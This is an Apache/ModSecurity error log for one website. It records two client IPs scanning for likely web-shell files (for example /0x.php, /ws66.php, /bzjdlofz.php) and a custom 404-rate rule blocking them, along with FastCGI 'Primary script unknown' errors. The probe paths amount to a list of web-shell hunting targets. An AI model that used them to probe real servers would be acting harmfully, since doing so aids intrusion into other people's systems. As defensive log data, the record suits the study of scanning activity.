[Wed Feb 11 14:15:25.402881 2026] [:error] [pid 27965:tid 28008] [client 158.158.49.160:35851] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aYwefdHLAUAIo8qpZyH03AAAAEU"]
[Wed Feb 11 14:15:26.932844 2026] [:error] [pid 27965:tid 28019] [client 158.158.49.160:26768] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aYweftHLAUAIo8qpZyH04QAAAFA"]
[Wed Feb 11 14:15:29.117455 2026] [:error] [pid 22569:tid 22589] [client 158.158.49.160:2094] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aYwegcAhSI7iX9G3enjZJwAAAZA"]
[Wed Feb 11 14:15:30.032533 2026] [:error] [pid 27965:tid 28026] [client 158.158.49.160:10103] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aYwegtHLAUAIo8qpZyH07AAAAFc"]
[Wed Feb 11 14:15:31.009695 2026] [:error] [pid 27964:tid 27996] [client 158.158.49.160:28634] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aYweg8p0XgWYHLcQtEhjVQAAABU"]
[Wed Feb 11 14:15:31.885861 2026] [:error] [pid 22570:tid 22610] [client 158.158.49.160:48265] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aYwegyE5uSe043FXwQoUPAAAAco"]
[Wed Feb 11 14:15:33.903567 2026] [:error] [pid 22537:tid 22562] [client 158.158.49.160:36354] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aYwehSfg2TagwM3bvQOjxgAAAVc"]
[Wed Feb 11 14:15:35.589345 2026] [:error] [pid 27966:tid 28043] [client 158.158.49.160:2580] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aYweh18HJ9ydyf0SPu5SSwAAAI0"]
[Wed Feb 11 14:15:37.475516 2026] [:error] [pid 27965:tid 28019] [client 158.158.49.160:2587] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aYweidHLAUAIo8qpZyH08QAAAFA"]
[Wed Feb 11 14:15:41.834390 2026] [:error] [pid 22569:tid 22588] [client 158.158.49.160:44370] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aYwejcAhSI7iX9G3enjZLAAAAY8"]
[Wed Feb 11 14:15:46.021161 2026] [:error] [pid 27964:tid 27992] [client 158.158.49.160:32782] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aYweksp0XgWYHLcQtEhjaAAAABE"]
[Wed Feb 11 14:15:47.950626 2026] [:error] [pid 22570:tid 22618] [client 158.158.49.160:10108] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aYwekyE5uSe043FXwQoURwAAAdI"]
[Wed Feb 11 14:15:50.604257 2026] [:error] [pid 27965:tid 28011] [client 158.158.49.160:37356] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aYweltHLAUAIo8qpZyH1BQAAAEg"]
[Wed Feb 11 14:15:52.075516 2026] [:error] [pid 22537:tid 22544] [client 158.158.49.160:46751] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aYwemCfg2TagwM3bvQOj1gAAAUU"]
[Wed Feb 11 14:15:53.785165 2026] [:error] [pid 22537:tid 22551] [client 158.158.49.160:37367] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYwemSfg2TagwM3bvQOj2wAAAUw"]
[Wed Feb 11 14:15:54.721981 2026] [:error] [pid 22570:tid 22612] [client 158.158.49.160:44458] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYwemiE5uSe043FXwQoUUQAAAcw"]
[Wed Feb 11 14:15:57.013843 2026] [:error] [pid 22570:tid 22618] [client 158.158.49.160:42943] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYwenSE5uSe043FXwQoUUwAAAdI"]
[Wed Feb 11 14:15:59.343463 2026] [:error] [pid 28073:tid 28098] [client 158.158.49.160:38293] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYwen4eHYIlOlF-DsMw8GwAAANc"]
[Wed Feb 11 14:16:00.282941 2026] [:error] [pid 27965:tid 28008] [client 158.158.49.160:44418] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aYweoNHLAUAIo8qpZyH1DAAAAEU"]
[Wed Feb 11 14:16:02.484472 2026] [:error] [pid 28073:tid 28088] [client 158.158.49.160:44468] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aYweooeHYIlOlF-DsMw8IwAAAM0"]
[Wed Feb 11 14:16:05.063049 2026] [:error] [pid 22570:tid 22606] [client 158.158.49.160:2618] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aYwepSE5uSe043FXwQoUWQAAAcY"]
[Wed Feb 11 14:16:06.720412 2026] [:error] [pid 28073:tid 28090] [client 158.158.49.160:49344] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aYwepoeHYIlOlF-DsMw8LAAAAM8"]
[Wed Feb 11 14:16:07.421174 2026] [:error] [pid 22569:tid 22576] [client 158.158.49.160:10080] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aYwep8AhSI7iX9G3enjZPQAAAYM"]
[Wed Feb 11 14:16:09.640284 2026] [:error] [pid 27964:tid 27988] [client 158.158.49.160:26783] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aYweqcp0XgWYHLcQtEhjiQAAAA0"]
[Wed Feb 11 14:16:11.428193 2026] [:error] [pid 28073:tid 28085] [client 158.158.49.160:39083] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aYweq4eHYIlOlF-DsMw8OQAAAMo"]
[Wed Feb 11 14:16:16.302595 2026] [:error] [pid 27965:tid 28009] [client 158.158.49.160:49793] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aYwesNHLAUAIo8qpZyH1KAAAAEY"]
[Wed Feb 11 14:16:18.331463 2026] [:error] [pid 28073:tid 28097] [client 158.158.49.160:49772] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aYwesoeHYIlOlF-DsMw8YgAAANY"]
[Wed Feb 11 14:16:21.614718 2026] [proxy_fcgi:error] [pid 22569:tid 22582] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:23.225378 2026] [proxy_fcgi:error] [pid 22569:tid 22581] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:23.542668 2026] [proxy_fcgi:error] [pid 22569:tid 22576] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:23.858186 2026] [proxy_fcgi:error] [pid 22569:tid 22584] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:24.101885 2026] [proxy_fcgi:error] [pid 22569:tid 22575] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:24.437189 2026] [proxy_fcgi:error] [pid 22569:tid 22593] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:24.714079 2026] [proxy_fcgi:error] [pid 22569:tid 22587] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:24.955543 2026] [proxy_fcgi:error] [pid 22569:tid 22589] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:16:25.199389 2026] [proxy_fcgi:error] [pid 22569:tid 22579] [client 158.158.49.160:48335] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:38.828487 2026] [proxy_fcgi:error] [pid 27966:tid 28041] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:39.072010 2026] [proxy_fcgi:error] [pid 27966:tid 28030] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:39.320797 2026] [proxy_fcgi:error] [pid 27966:tid 28052] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:39.633142 2026] [proxy_fcgi:error] [pid 27966:tid 28053] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:39.876973 2026] [proxy_fcgi:error] [pid 27966:tid 28031] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:40.137538 2026] [proxy_fcgi:error] [pid 27966:tid 28044] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:40.380721 2026] [proxy_fcgi:error] [pid 27966:tid 28032] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:40.625518 2026] [proxy_fcgi:error] [pid 27966:tid 28047] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:40.867422 2026] [proxy_fcgi:error] [pid 27966:tid 28033] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:41.115772 2026] [proxy_fcgi:error] [pid 27966:tid 28054] [client 158.158.72.18:33802] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:34:41.368755 2026] [:error] [pid 27966:tid 28034] [client 158.158.72.18:33802] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maraz.php"] [unique_id "aYw_IV8HJ9ydyf0SPu546QAAAIQ"]
[Wed Feb 11 16:34:41.891379 2026] [:error] [pid 17401:tid 17426] [client 158.158.72.18:34486] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maraz.php"] [unique_id "aYw_IQ0lHeayTY40t340RwAAARc"]
[Wed Feb 11 16:34:42.510316 2026] [:error] [pid 27964:tid 27978] [client 158.158.72.18:34466] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maraz.php"] [unique_id "aYw_Isp0XgWYHLcQtEiVzQAAAAM"]
[Wed Feb 11 16:34:43.066128 2026] [:error] [pid 27965:tid 28010] [client 158.158.72.18:34441] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maraz.php"] [unique_id "aYw_I9HLAUAIo8qpZyEgNAAAAEc"]
[Wed Feb 11 16:34:43.952160 2026] [:error] [pid 22570:tid 22601] [client 158.158.72.18:34439] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aYw_IyE5uSe043FXwQo56AAAAcE"]
[Wed Feb 11 16:34:44.479050 2026] [:error] [pid 28073:tid 28083] [client 158.158.72.18:33879] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aYw_JIeHYIlOlF-DsMx7AAAAAMg"]
[Wed Feb 11 16:34:45.497490 2026] [:error] [pid 27964:tid 27979] [client 158.158.72.18:33349] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aYw_Jcp0XgWYHLcQtEiV0AAAAAQ"]
[Wed Feb 11 16:34:45.999135 2026] [:error] [pid 27966:tid 28032] [client 158.158.72.18:34499] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aYw_JV8HJ9ydyf0SPu549gAAAII"]
[Wed Feb 11 16:34:46.560301 2026] [:error] [pid 27964:tid 27999] [client 158.158.72.18:33356] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aYw_Jsp0XgWYHLcQtEiV0wAAABg"]
[Wed Feb 11 16:34:47.215534 2026] [:error] [pid 28073:tid 28096] [client 158.158.72.18:34506] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aYw_J4eHYIlOlF-DsMx7BQAAANU"]
[Wed Feb 11 16:34:47.901888 2026] [:error] [pid 22537:tid 22556] [client 158.158.72.18:34497] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aYw_Jyfg2TagwM3bvQPF9QAAAVE"]
[Wed Feb 11 16:34:48.408453 2026] [:error] [pid 22569:tid 22586] [client 158.158.72.18:33371] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aYw_KMAhSI7iX9G3enj9GAAAAY0"]
[Wed Feb 11 16:34:48.938481 2026] [:error] [pid 27966:tid 28034] [client 158.158.72.18:33799] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aYw_KF8HJ9ydyf0SPu54-AAAAIQ"]
[Wed Feb 11 16:34:49.565484 2026] [:error] [pid 27965:tid 28014] [client 158.158.72.18:33850] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aYw_KdHLAUAIo8qpZyEgPwAAAEs"]
[Wed Feb 11 16:34:50.125728 2026] [:error] [pid 22570:tid 22617] [client 158.158.72.18:33797] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aYw_KiE5uSe043FXwQo57wAAAdE"]
[Wed Feb 11 16:34:50.832888 2026] [:error] [pid 28073:tid 28087] [client 158.158.72.18:33849] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aYw_KoeHYIlOlF-DsMx7DQAAAMw"]
[Wed Feb 11 16:34:51.713022 2026] [:error] [pid 27966:tid 28038] [client 158.158.72.18:33364] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "aYw_K18HJ9ydyf0SPu54-QAAAIg"]
[Wed Feb 11 16:34:52.676887 2026] [:error] [pid 28073:tid 28097] [client 158.158.72.18:33355] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "aYw_LIeHYIlOlF-DsMx7EwAAANY"]
[Wed Feb 11 16:34:53.264271 2026] [:error] [pid 27965:tid 28022] [client 158.158.72.18:33907] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "aYw_LdHLAUAIo8qpZyEgRQAAAFM"]
[Wed Feb 11 16:34:53.764601 2026] [:error] [pid 22537:tid 22543] [client 158.158.72.18:34447] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "aYw_LSfg2TagwM3bvQPF9wAAAUQ"]
[Wed Feb 11 16:34:54.385699 2026] [:error] [pid 28073:tid 28096] [client 158.158.72.18:33821] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bzjdlofz.php"] [unique_id "aYw_LoeHYIlOlF-DsMx7FQAAANU"]
[Wed Feb 11 16:34:54.957186 2026] [:error] [pid 27965:tid 28011] [client 158.158.72.18:33868] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bzjdlofz.php"] [unique_id "aYw_LtHLAUAIo8qpZyEgSgAAAEg"]
[Wed Feb 11 16:34:55.560162 2026] [:error] [pid 27966:tid 28045] [client 158.158.72.18:33866] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bzjdlofz.php"] [unique_id "aYw_L18HJ9ydyf0SPu54_AAAAI8"]
[Wed Feb 11 16:34:56.260142 2026] [:error] [pid 27966:tid 28039] [client 158.158.72.18:33805] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bzjdlofz.php"] [unique_id "aYw_MF8HJ9ydyf0SPu54_QAAAIk"]
